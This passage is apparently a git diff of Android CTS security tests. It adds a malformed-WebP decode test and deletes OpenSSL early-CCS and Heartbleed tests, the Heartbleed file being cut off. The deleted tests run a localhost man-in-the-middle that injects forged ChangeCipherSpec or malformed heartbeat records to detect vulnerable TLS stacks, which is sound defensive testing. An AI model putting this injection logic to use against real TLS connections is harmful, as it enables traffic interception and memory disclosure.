       "96:C9:1B:0B:95:B4:10:98:42:FA:D0:D8:22:79:FE:60:FA:B9:16:83",
       "4F:65:8E:1F:E9:06:D8:28:02:E9:54:47:41:C9:54:25:5D:69:CC:1A",
@@ -155,7 +158,6 @@
       "F9:B5:B6:32:45:5F:9C:BE:EC:57:5F:80:DC:E9:6E:2C:C7:B2:78:B7",
       "E6:21:F3:35:43:79:05:9A:4B:68:30:9D:8A:2F:74:22:15:87:EC:79",
       "89:DF:74:FE:5C:F4:0F:4A:80:F9:E3:37:7D:54:DA:91:E1:01:31:8E",
-      "E0:B4:32:2E:B2:F6:A5:68:B6:54:53:84:48:18:4A:50:36:87:43:84",
       "7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E",
       "6E:3A:55:A4:19:0C:19:5C:93:84:3C:C0:DB:72:2E:31:30:61:F0:B1",
       "4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index e64e37a..0e92310 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -38,4 +38,17 @@
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
         assertNull(bitmap);
     }
+
+    /**
+     * Verifies that the device fails to decode a truncated animated webp.
+     *
+     * Prior to fixing bug 67381469, decoding this file would crash. Instead, it should fail to
+     * decode.
+     */
+    @SecurityTest
+    public void test_android_bug_67381469() {
+        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
+        Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
+        assertNull(bitmap);
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java b/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
deleted file mode 100644
index a6bad84..0000000
--- a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
+++ /dev/null
@@ -1,582 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import android.security.cts.OpenSSLHeartbleedTest.AlertMessage;
-import android.security.cts.OpenSSLHeartbleedTest.HandshakeMessage;
-import android.security.cts.OpenSSLHeartbleedTest.HardcodedCertX509KeyManager;
-import android.security.cts.OpenSSLHeartbleedTest.TlsProtocols;
-import android.security.cts.OpenSSLHeartbleedTest.TlsRecord;
-import android.security.cts.OpenSSLHeartbleedTest.TlsRecordReader;
-import android.security.cts.OpenSSLHeartbleedTest.TrustAllX509TrustManager;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.ByteArrayInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.net.SocketAddress;
-import java.security.KeyFactory;
-import java.security.PrivateKey;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.security.spec.PKCS8EncodedKeySpec;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-
-import javax.net.ServerSocketFactory;
-import javax.net.SocketFactory;
-import javax.net.ssl.KeyManager;
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLServerSocket;
-import javax.net.ssl.SSLSocket;
-import javax.net.ssl.TrustManager;
-
-/**
- * Tests for the OpenSSL early ChangeCipherSpec (CCS) vulnerability (CVE-2014-0224).
- */
-@SecurityTest
-public class OpenSSLEarlyCCSTest extends InstrumentationTestCase {
-
-    // IMPLEMENTATION NOTE: This test spawns an SSLSocket client, SSLServerSocket server, and a
-    // Man-in-The-Middle (MiTM). The client connects to the MiTM which then connects to the server
-    // and starts forwarding all TLS records between the client and the server. In tests that check
-    // for the early CCS vulnerability, the MiTM also injects an early ChangeCipherSpec record into
-    // the traffic to which a correctly implemented peer is supposed to reply by immediately
-    // aborting the TLS handshake with an unexpected_message fatal alert.
-
-    // IMPLEMENTATION NOTE: This test spawns several background threads that perform network I/O
-    // on localhost. To ensure that these background threads are cleaned up at the end of the test,
-    // tearDown() kills the sockets they may be using. To aid this behavior, all Socket and
-    // ServerSocket instances are available as fields of this class. These fields should be accessed
-    // via setters and getters to avoid memory visibility issues due to concurrency.
-
-    private static final String TAG = OpenSSLEarlyCCSTest.class.getSimpleName();
-
-    private SSLServerSocket mServerListeningSocket;
-    private SSLSocket mServerSocket;
-    private SSLSocket mClientSocket;
-    private ServerSocket mMitmListeningSocket;
-    private Socket mMitmServerSocket;
-    private Socket mMitmClientSocket;
-    private ExecutorService mExecutorService;
-
-    private boolean mCCSWasInjected;
-    private TlsRecord mFirstRecordReceivedAfterCCSWasInjected;
-    private boolean mFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted;
-
-    @Override
-    protected void tearDown() throws Exception {
-        Log.i(TAG, "Tearing down");
-        try {
-            if (mExecutorService != null) {
-                mExecutorService.shutdownNow();
-            }
-            OpenSSLHeartbleedTest.closeQuietly(getServerListeningSocket());
-            OpenSSLHeartbleedTest.closeQuietly(getServerSocket());
-            OpenSSLHeartbleedTest.closeQuietly(getClientSocket());
-            OpenSSLHeartbleedTest.closeQuietly(getMitmListeningSocket());
-            OpenSSLHeartbleedTest.closeQuietly(getMitmServerSocket());
-            OpenSSLHeartbleedTest.closeQuietly(getMitmClientSocket());
-        } finally {
-            super.tearDown();
-            Log.i(TAG, "Tear down completed");
-        }
-    }
-
-    /**
-     * Tests that TLS handshake succeeds when the MiTM simply forwards all data without tampering
-     * with it. This is to catch issues unrelated to early CCS.
-     */
-    public void testWithoutEarlyCCS() throws Exception {
-        handshake(false, false);
-    }
-
-    /**
-     * Tests whether client sockets are vulnerable to early CCS.
-     */
-    public void testEarlyCCSInjectedIntoClient() throws Exception {
-        checkEarlyCCS(true);
-    }
-
-    /**
-     * Tests whether server sockets are vulnerable to early CCS.
-     */
-    public void testEarlyCCSInjectedIntoServer() throws Exception {
-        checkEarlyCCS(false);
-    }
-
-    /**
-     * Tests for the early CCS vulnerability.
-     *
-     * @param client {@code true} to test the client, {@code false} to test the server.
-     */
-    private void checkEarlyCCS(boolean client) throws Exception {
-        // IMPLEMENTATION NOTE: The MiTM is forwarding all TLS records between the client and the
-        // server unmodified. Additionally, the MiTM transmits an early ChangeCipherSpec to server
-        // (if "client" argument is false) right before client's ClientKeyExchange or to client (if
-        // "client" argument is true) right before server's Certificate. The peer is expected to
-        // to abort the handshake immediately with unexpected_message alert.
-        try {
-            handshake(true, client);
-            // TLS handshake succeeded
-            assertTrue("Early CCS injected", wasCCSInjected());
-            fail("Handshake succeeded despite early CCS having been injected");
-        } catch (ExecutionException e) {
-            // TLS handshake failed
-            assertTrue("Early CCS injected", wasCCSInjected());
-            TlsRecord firstRecordReceivedAfterCCSWasInjected =
-                    getFirstRecordReceivedAfterCCSWasInjected();
-            assertNotNull(
-                    "Nothing received after early CCS was injected",
-                    firstRecordReceivedAfterCCSWasInjected);
-            if (firstRecordReceivedAfterCCSWasInjected.protocol == TlsProtocols.ALERT) {
-                AlertMessage alert = AlertMessage.tryParse(firstRecordReceivedAfterCCSWasInjected);
-                if ((alert != null)
-                        && (alert.level == AlertMessage.LEVEL_FATAL)
-                        && (alert.description == AlertMessage.DESCRIPTION_UNEXPECTED_MESSAGE)) {
-                    // Expected/correct response to an early CCS
-                    return;
-                }
-            }
-            fail("SSLSocket is vulnerable to early CCS in " + ((client) ? "client" : "server")
-                    + " mode: unexpected record received after CCS was injected: "
-                    + getRecordInfo(
-                            getFirstRecordReceivedAfterCCSWasInjected(),
-                            getFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted()));
-        }
-    }
-
-    /**
-     * Starts the client, server, and the MiTM. Makes the client and server perform a TLS handshake
-     * and exchange application-level data. The MiTM injects a ChangeCipherSpec record if requested
-     * by {@code earlyCCSInjected}. The direction of the injected message is specified by
-     * {@code injectedIntoClient}.
-     */
-    private void handshake(
-            final boolean earlyCCSInjected,
-            final boolean injectedIntoClient) throws Exception {
-        mExecutorService = Executors.newFixedThreadPool(4);
-        setServerListeningSocket(serverBind());
-        final SocketAddress serverAddress = getServerListeningSocket().getLocalSocketAddress();
-        Log.i(TAG, "Server bound to " + serverAddress);
-
-        setMitmListeningSocket(mitmBind());
-        final SocketAddress mitmAddress = getMitmListeningSocket().getLocalSocketAddress();
-        Log.i(TAG, "MiTM bound to " + mitmAddress);
-
-        // Start the MiTM daemon in the background
-        mExecutorService.submit(new Callable<Void>() {
-            @Override
-            public Void call() throws Exception {
-                mitmAcceptAndForward(serverAddress, earlyCCSInjected, injectedIntoClient);
-                return null;
-            }
-        });
-        // Start the server in the background
-        Future<Void> serverFuture = mExecutorService.submit(new Callable<Void>() {
-            @Override
-            public Void call() throws Exception {
-                serverAcceptAndHandshake();
-                return null;
-            }
-        });
-        // Start the client in the background
-        Future<Void> clientFuture = mExecutorService.submit(new Callable<Void>() {
-            @Override
-            public Void call() throws Exception {
-                clientConnectAndHandshake(mitmAddress);
-                return null;
-            }
-        });
-
-        // Wait for both client and server to terminate, to ensure that we observe all the traffic
-        // exchanged between them. Throw an exception if one of them failed.
-        Log.i(TAG, "Waiting for client");
-        // Wait for the client, but don't yet throw an exception if it failed.
-        Exception clientException = null;
-        try {
-            clientFuture.get(10, TimeUnit.SECONDS);
-        } catch (Exception e) {
-            clientException = e;
-        }
-        Log.i(TAG, "Waiting for server");
-        // Wait for the server and throw an exception if it failed.
-        serverFuture.get(5, TimeUnit.SECONDS);
-        // Throw an exception if the client failed.
-        if (clientException != null) {
-            throw clientException;
-        }
-        Log.i(TAG, "Handshake completed and application data exchanged");
-    }
-
-    private void clientConnectAndHandshake(SocketAddress serverAddress) throws Exception {
-        SSLContext sslContext = SSLContext.getInstance("TLS");
-        sslContext.init(
-                null,
-                new TrustManager[] {new TrustAllX509TrustManager()},
-                null);
-        SSLSocket socket = (SSLSocket) sslContext.getSocketFactory().createSocket();
-        setClientSocket(socket);
-        try {
-            Log.i(TAG, "Client connecting to " + serverAddress);
-            socket.connect(serverAddress);
-            Log.i(TAG, "Client connected to server from " + socket.getLocalSocketAddress());
-            // Ensure a TLS handshake is performed and an exception is thrown if it fails.
-            socket.getOutputStream().write("client".getBytes());
-            socket.getOutputStream().flush();
-            Log.i(TAG, "Client sent request. Reading response");
-            int b = socket.getInputStream().read();
-            Log.i(TAG, "Client read response: " + b);
-        } catch (Exception e) {
-            // Make sure the test log includes exceptions from all parties involved.
-            Log.w(TAG, "Client failed", e);
-            throw e;
-          } finally {
-            socket.close();
-        }
-    }
-
-    private SSLServerSocket serverBind() throws Exception {
-        // Load the server's private key and cert chain
-        KeyFactory keyFactory = KeyFactory.getInstance("RSA");
-        PrivateKey privateKey = keyFactory.generatePrivate(new PKCS8EncodedKeySpec(
-                OpenSSLHeartbleedTest.readResource(
-                        getInstrumentation().getContext(), R.raw.openssl_heartbleed_test_key)));
-        CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
-        X509Certificate[] certChain =  new X509Certificate[] {
-                (X509Certificate) certFactory.generateCertificate(
-                        new ByteArrayInputStream(OpenSSLHeartbleedTest.readResource(
-                                getInstrumentation().getContext(),
-                                R.raw.openssl_heartbleed_test_cert)))
-        };
-
-        // Initialize TLS context to use the private key and cert chain for server sockets
-        SSLContext sslContext = SSLContext.getInstance("TLS");
-        sslContext.init(
-                new KeyManager[] {new HardcodedCertX509KeyManager(privateKey, certChain)},
-                null,
-                null);
-
-        Log.i(TAG, "Server binding to local port");
-        return (SSLServerSocket) sslContext.getServerSocketFactory().createServerSocket(0);
-    }
-
-    private void serverAcceptAndHandshake() throws Exception {
-        SSLSocket socket = null;
-        SSLServerSocket serverSocket = getServerListeningSocket();
-        try {
-            Log.i(TAG, "Server listening for incoming connection");
-            socket = (SSLSocket) serverSocket.accept();
-            setServerSocket(socket);
-            Log.i(TAG, "Server accepted connection from " + socket.getRemoteSocketAddress());
-            // Ensure a TLS handshake is performed and an exception is thrown if it fails.
-            socket.getOutputStream().write("server".getBytes());
-            socket.getOutputStream().flush();
-            Log.i(TAG, "Server sent reply. Reading response");
-            int b = socket.getInputStream().read();
-            Log.i(TAG, "Server read response: " + b);
-        } catch (Exception e) {
-            // Make sure the test log includes exceptions from all parties involved.
-            Log.w(TAG, "Server failed", e);
-            throw e;
-        } finally {
-            if (socket != null) {
-                socket.close();
-            }
-        }
-    }
-
-    private ServerSocket mitmBind() throws Exception {
-        Log.i(TAG, "MiTM binding to local port");
-        return ServerSocketFactory.getDefault().createServerSocket(0);
-    }
-
-    /**
-     * Accepts the connection on the MiTM listening socket, forwards the TLS records between the
-     * client and the server, and, if requested, injects an early {@code ChangeCipherSpec} record.
-     *
-     * @param injectEarlyCCS whether to inject an early {@code ChangeCipherSpec} record.
-     * @param injectIntoClient when {@code injectEarlyCCS} is {@code true}, whether to inject the
-     *        {@code ChangeCipherSpec} record into client or into server.
-     */
-    private void mitmAcceptAndForward(
-            SocketAddress serverAddress,
-            final boolean injectEarlyCCS,
-            final boolean injectIntoClient) throws Exception {
-        Socket clientSocket = null;
-        Socket serverSocket = null;
-        ServerSocket listeningSocket = getMitmListeningSocket();
-        try {
-            Log.i(TAG, "MiTM waiting for incoming connection");
-            clientSocket = listeningSocket.accept();
-            setMitmClientSocket(clientSocket);
-            Log.i(TAG, "MiTM accepted connection from " + clientSocket.getRemoteSocketAddress());
-            serverSocket = SocketFactory.getDefault().createSocket();
-            setMitmServerSocket(serverSocket);
-            Log.i(TAG, "MiTM connecting to server " + serverAddress);
-            serverSocket.connect(serverAddress, 10000);
-            Log.i(TAG, "MiTM connected to server from " + serverSocket.getLocalSocketAddress());
-            final InputStream serverInputStream = serverSocket.getInputStream();
-            final OutputStream clientOutputStream = clientSocket.getOutputStream();
-            Future<Void> serverToClientTask = mExecutorService.submit(new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    // Inject early ChangeCipherSpec before Certificate, if requested
-                    forwardTlsRecords(
-                            "MiTM S->C",
-                            serverInputStream,
-                            clientOutputStream,
-                            (injectEarlyCCS && injectIntoClient)
-                                      ? HandshakeMessage.TYPE_CERTIFICATE : -1);
-                    return null;
-                }
-            });
-            // Inject early ChangeCipherSpec before ClientKeyExchange, if requested
-            forwardTlsRecords(
-                    "MiTM C->S",
-                    clientSocket.getInputStream(),
-                    serverSocket.getOutputStream(),
-                    (injectEarlyCCS && !injectIntoClient)
-                            ? HandshakeMessage.TYPE_CLIENT_KEY_EXCHANGE : -1);
-            serverToClientTask.get(10, TimeUnit.SECONDS);
-        } catch (Exception e) {
-            // Make sure the test log includes exceptions from all parties involved.
-            Log.w(TAG, "MiTM failed", e);
-            throw e;
-        } finally {
-            OpenSSLHeartbleedTest.closeQuietly(clientSocket);
-            OpenSSLHeartbleedTest.closeQuietly(serverSocket);
-        }
-    }
-
-    /**
-     * Forwards TLS records from the provided {@code InputStream} to the provided
-     * {@code OutputStream}. If requested, injects an early {@code ChangeCipherSpec}.
-     */
-    private void forwardTlsRecords(
-            String logPrefix,
-            InputStream in,
-            OutputStream out,
-            int handshakeMessageTypeBeforeWhichToInjectEarlyCCS) throws Exception {
-        Log.i(TAG, logPrefix + ": record forwarding started");
-        boolean interestingRecordsLogged =
-                handshakeMessageTypeBeforeWhichToInjectEarlyCCS == -1;
-        try {
-            TlsRecordReader reader = new TlsRecordReader(in);
-            byte[] recordBytes;
-            // Fragments contained in records may be encrypted after a certain point in the
-            // handshake. Once they are encrypted, this MiTM cannot inspect their plaintext which.
-            boolean fragmentEncryptionMayBeEnabled = false;
-            while ((recordBytes = reader.readRecord()) != null) {
-                TlsRecord record = TlsRecord.parse(recordBytes);
-                forwardTlsRecord(logPrefix,
-                        recordBytes,
-                        record,
-                        fragmentEncryptionMayBeEnabled,
-                        out,
-                        interestingRecordsLogged,
-                        handshakeMessageTypeBeforeWhichToInjectEarlyCCS);
-                if (record.protocol == TlsProtocols.CHANGE_CIPHER_SPEC) {
-                    fragmentEncryptionMayBeEnabled = true;
-                }
-            }
-        } finally {
-            Log.d(TAG, logPrefix + ": record forwarding finished");
-        }
-    }
-
-    private void forwardTlsRecord(
-            String logPrefix,
-            byte[] recordBytes,
-            TlsRecord record,
-            boolean fragmentEncryptionMayBeEnabled,
-            OutputStream out,
-            boolean interestingRecordsLogged,
-            int handshakeMessageTypeBeforeWhichToInjectCCS) throws IOException {
-        // Save information about the record if it's of interest to this test
-        if (interestingRecordsLogged) {
-            if (wasCCSInjected()) {
-                setFirstRecordReceivedAfterCCSWasInjected(record, fragmentEncryptionMayBeEnabled);
-            }
-        } else if ((record.protocol == TlsProtocols.CHANGE_CIPHER_SPEC)
-                && (handshakeMessageTypeBeforeWhichToInjectCCS != -1)) {
-            // Do not forward original ChangeCipherSpec record(s) if we're injecting such a record
-            // ourselves. This is to make sure that the peer sees only one ChangeCipherSpec.
-            Log.i(TAG, logPrefix + ": Dropping TLS record. "
-                    + getRecordInfo(record, fragmentEncryptionMayBeEnabled));
-            return;
-        }
-
-        // Inject a ChangeCipherSpec, if necessary, before the specified handshake message type
-        if (handshakeMessageTypeBeforeWhichToInjectCCS != -1) {
-            if ((!fragmentEncryptionMayBeEnabled) && (OpenSSLHeartbleedTest.isHandshakeMessageType(
-                    record, handshakeMessageTypeBeforeWhichToInjectCCS))) {
-                Log.i(TAG, logPrefix + ": Injecting ChangeCipherSpec");
-                setCCSWasInjected();
-                out.write(createChangeCipherSpecRecord(record.versionMajor, record.versionMinor));
-                out.flush();
-            }
-        }
-
-        Log.i(TAG, logPrefix + ": Forwarding TLS record. "
-                + getRecordInfo(record, fragmentEncryptionMayBeEnabled));
-        out.write(recordBytes);
-        out.flush();
-    }
-
-    private static String getRecordInfo(TlsRecord record, boolean mayBeEncrypted) {
-        StringBuilder result = new StringBuilder();
-        result.append(getProtocolName(record.protocol))
-                .append(", ")
-                .append(getFragmentInfo(record, mayBeEncrypted));
-        return result.toString();
-    }
-
-    private static String getProtocolName(int protocol) {
-        switch (protocol) {
-            case TlsProtocols.ALERT:
-                return "alert";
-            case TlsProtocols.APPLICATION_DATA:
-                return "application data";
-            case TlsProtocols.CHANGE_CIPHER_SPEC:
-                return "change cipher spec";
-            case TlsProtocols.HANDSHAKE:
-                return "handshake";
-            default:
-                return String.valueOf(protocol);
-        }
-    }
-
-    private static String getFragmentInfo(TlsRecord record, boolean mayBeEncrypted) {
-        StringBuilder result = new StringBuilder();
-        if (mayBeEncrypted) {
-            result.append("encrypted?");
-        } else {
-            switch (record.protocol) {
-                case TlsProtocols.ALERT:
-                    result.append("level: " + ((record.fragment.length > 0)
-                            ? String.valueOf(record.fragment[0] & 0xff) : "n/a")
-                    + ", description: "
-                    + ((record.fragment.length > 1)
-                            ? String.valueOf(record.fragment[1] & 0xff) : "n/a"));
-                    break;
-                case TlsProtocols.APPLICATION_DATA:
-                    break;
-                case TlsProtocols.CHANGE_CIPHER_SPEC:
-                    result.append("payload: " + ((record.fragment.length > 0)
-                            ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
-                    break;
-                case TlsProtocols.HANDSHAKE:
-                    result.append("type: " + ((record.fragment.length > 0)
-                            ? String.valueOf(record.fragment[0] & 0xff) : "n/a"));
-                    break;
-            }
-        }
-        result.append(", ").append("fragment length: " + record.fragment.length);
-        return result.toString();
-    }
-
-    private synchronized void setServerListeningSocket(SSLServerSocket socket) {
-        mServerListeningSocket = socket;
-    }
-
-    private synchronized SSLServerSocket getServerListeningSocket() {
-        return mServerListeningSocket;
-    }
-
-    private synchronized void setServerSocket(SSLSocket socket) {
-        mServerSocket = socket;
-    }
-
-    private synchronized SSLSocket getServerSocket() {
-        return mServerSocket;
-    }
-
-    private synchronized void setClientSocket(SSLSocket socket) {
-        mClientSocket = socket;
-    }
-
-    private synchronized SSLSocket getClientSocket() {
-        return mClientSocket;
-    }
-
-    private synchronized void setMitmListeningSocket(ServerSocket socket) {
-        mMitmListeningSocket = socket;
-    }
-
-    private synchronized ServerSocket getMitmListeningSocket() {
-        return mMitmListeningSocket;
-    }
-
-    private synchronized void setMitmServerSocket(Socket socket) {
-        mMitmServerSocket = socket;
-    }
-
-    private synchronized Socket getMitmServerSocket() {
-        return mMitmServerSocket;
-    }
-
-    private synchronized void setMitmClientSocket(Socket socket) {
-        mMitmClientSocket = socket;
-    }
-
-    private synchronized Socket getMitmClientSocket() {
-        return mMitmClientSocket;
-    }
-
-    private synchronized void setCCSWasInjected() {
-        mCCSWasInjected = true;
-    }
-
-    private synchronized boolean wasCCSInjected() {
-        return mCCSWasInjected;
-    }
-
-    private synchronized void setFirstRecordReceivedAfterCCSWasInjected(
-            TlsRecord record, boolean mayBeEncrypted) {
-        if (mFirstRecordReceivedAfterCCSWasInjected == null) {
-            mFirstRecordReceivedAfterCCSWasInjected = record;
-            mFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted = mayBeEncrypted;
-        }
-    }
-
-    private synchronized TlsRecord getFirstRecordReceivedAfterCCSWasInjected() {
-        return mFirstRecordReceivedAfterCCSWasInjected;
-    }
-
-    private synchronized boolean getFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted() {
-        return mFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted;
-    }
-
-    private static byte[] createChangeCipherSpecRecord(int versionMajor, int versionMinor) {
-        TlsRecord record = new TlsRecord();
-        record.protocol = TlsProtocols.CHANGE_CIPHER_SPEC;
-        record.versionMajor = versionMajor;
-        record.versionMinor = versionMinor;
-        record.fragment = new byte[] {1};
-        return TlsRecord.unparse(record);
-    }
-}
diff --git a/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java b/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java
deleted file mode 100644
index 95a82a8..0000000
--- a/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java
+++ /dev/null
@@ -1,983 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.content.Context;
-import android.platform.test.annotations.SecurityTest;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.EOFException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.net.SocketAddress;
-import java.security.KeyFactory;
-import java.security.Principal;
-import java.security.PrivateKey;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.security.spec.PKCS8EncodedKeySpec;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-
-import javax.net.ServerSocketFactory;
-import javax.net.SocketFactory;
-import javax.net.ssl.KeyManager;
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLException;
-import javax.net.ssl.SSLServerSocket;
-import javax.net.ssl.SSLSocket;
-import javax.net.ssl.TrustManager;
-import javax.net.ssl.X509KeyManager;
-import javax.net.ssl.X509TrustManager;
-
-/**
- * Tests for the OpenSSL Heartbleed vulnerability.
- */
-@SecurityTest
-public class OpenSSLHeartbleedTest extends InstrumentationTestCase {
-
-    // IMPLEMENTATION NOTE: This test spawns an SSLSocket client, SSLServerSocket server, and a
-    // Man-in-The-Middle (MiTM). The client connects to the MiTM which then connects to the server
-    // and starts forwarding all TLS records between the client and the server. In tests that check
-    // for the Heartbleed vulnerability, the MiTM also injects a HeartbeatRequest message into the
-    // traffic.
-
-    // IMPLEMENTATION NOTE: This test spawns several background threads that perform network I/O
-    // on localhost. To ensure that these background threads are cleaned up at the end of the test
-    // tearDown() kills the sockets they may be using. To aid this behavior, all Socket and
-    // ServerSocket instances are available as fields of this class. These fields should be accessed
-    // via setters and getters to avoid memory visibility issues due to concurrency.
-
-    private static final String TAG = OpenSSLHeartbleedTest.class.getSimpleName();
-
-    private SSLServerSocket mServerListeningSocket;
-    private SSLSocket mServerSocket;
-    private SSLSocket mClientSocket;
-    private ServerSocket mMitmListeningSocket;
-    private Socket mMitmServerSocket;
-    private Socket mMitmClientSocket;
-    private ExecutorService mExecutorService;
-
-    private boolean mHeartbeatRequestWasInjected;
-    private boolean mHeartbeatResponseWasDetetected;
-    private int mFirstDetectedFatalAlertDescription = -1;
-
-    @Override
-    protected void tearDown() throws Exception {
-        Log.i(TAG, "Tearing down");
-        if (mExecutorService != null) {
-            mExecutorService.shutdownNow();
-        }
-        closeQuietly(getServerListeningSocket());
-        closeQuietly(getServerSocket());
-        closeQuietly(getClientSocket());
-        closeQuietly(getMitmListeningSocket());
-        closeQuietly(getMitmServerSocket());
-        closeQuietly(getMitmClientSocket());
-        super.tearDown();
-        Log.i(TAG, "Tear down completed");
-    }
-
-    /**
-     * Tests that TLS handshake succeeds when the MiTM simply forwards all data without tampering
-     * with it. This is to catch issues unrelated to TLS heartbeats.
-     */
-    public void testWithoutHeartbeats() throws Exception {
-        handshake(false, false);
-    }
-
-    /**
-     * Tests whether client sockets are vulnerable to Heartbleed.
-     */
-    public void testClientHeartbleed() throws Exception {
-        checkHeartbleed(true);
-    }
-
-    /**
-     * Tests whether server sockets are vulnerable to Heartbleed.
-     */
-    public void testServerHeartbleed() throws Exception {
-        checkHeartbleed(false);
-    }
-
-    /**
-     * Tests for Heartbleed.
-     *
-     * @param client {@code true} to test the client, {@code false} to test the server.
-     */
-    private void checkHeartbleed(boolean client) throws Exception {
-        // IMPLEMENTATION NOTE: The MiTM is forwarding all TLS records between the client and the
-        // server unmodified. Additionally, the MiTM transmits a malformed HeartbeatRequest to
-        // server (if "client" argument is false) right after client's ClientKeyExchange or to
-        // client (if "client" argument is true) right after server's ServerHello. The peer is
-        // expected to either ignore the HeartbeatRequest (if heartbeats are supported) or to abort
-        // the handshake with unexpected_message alert (if heartbeats are not supported).
-        try {
-            handshake(true, client);
-        } catch (ExecutionException e) {
-            assertFalse(
-                    "SSLSocket is vulnerable to Heartbleed in " + ((client) ? "client" : "server")
-                            + " mode",
-                    wasHeartbeatResponseDetected());
-            if (e.getCause() instanceof SSLException) {
-                // TLS handshake or data exchange failed. Check whether the error was caused by
-                // fatal alert unexpected_message
-                int alertDescription = getFirstDetectedFatalAlertDescription();
-                if (alertDescription == -1) {
-                    fail("Handshake failed without a fatal alert");
-                }
-                assertEquals(
-                        "First fatal alert description received from server",
-                        AlertMessage.DESCRIPTION_UNEXPECTED_MESSAGE,
-                        alertDescription);
-                return;
-            } else {
-                throw e;
-            }
-        }
-
-        // TLS handshake succeeded
-        assertFalse(
-                "SSLSocket is vulnerable to Heartbleed in " + ((client) ? "client" : "server")
-                        + " mode",
-                wasHeartbeatResponseDetected());
-        assertTrue("HeartbeatRequest not injected", wasHeartbeatRequestInjected());
-    }
-
-    /**
-     * Starts the client, server, and the MiTM. Makes the client and server perform a TLS handshake
-     * and exchange application-level data. The MiTM injects a HeartbeatRequest message if requested
-     * by {@code heartbeatRequestInjected}. The direction of the injected message is specified by
-     * {@code injectedIntoClient}.
-     */
-    private void handshake(
-            final boolean heartbeatRequestInjected,
-            final boolean injectedIntoClient) throws Exception {
-        mExecutorService = Executors.newFixedThreadPool(4);
-        setServerListeningSocket(serverBind());
-        final SocketAddress serverAddress = getServerListeningSocket().getLocalSocketAddress();
-        Log.i(TAG, "Server bound to " + serverAddress);
-
-        setMitmListeningSocket(mitmBind());
-        final SocketAddress mitmAddress = getMitmListeningSocket().getLocalSocketAddress();
-        Log.i(TAG, "MiTM bound to " + mitmAddress);
-
-        // Start the MiTM daemon in the background
-        mExecutorService.submit(new Callable<Void>() {
-            @Override
-            public Void call() throws Exception {
-                mitmAcceptAndForward(
-                        serverAddress,
-                        heartbeatRequestInjected,
-                        injectedIntoClient);
-                return null;
-            }
-        });
-        // Start the server in the background
-        Future<Void> serverFuture = mExecutorService.submit(new Callable<Void>() {
-            @Override
-            public Void call() throws Exception {
-                serverAcceptAndHandshake();
-                return null;
-            }
-        });
-        // Start the client in the background
-        Future<Void> clientFuture = mExecutorService.submit(new Callable<Void>() {
-            @Override
-            public Void call() throws Exception {
-                clientConnectAndHandshake(mitmAddress);
-                return null;
-            }
-        });
-
-        // Wait for both client and server to terminate, to ensure that we observe all the traffic
-        // exchanged between them. Throw an exception if one of them failed.
-        Log.i(TAG, "Waiting for client");
-        // Wait for the client, but don't yet throw an exception if it failed.
-        Exception clientException = null;
-        try {
-            clientFuture.get(10, TimeUnit.SECONDS);
-        } catch (Exception e) {
-            clientException = e;
-        }
-        Log.i(TAG, "Waiting for server");
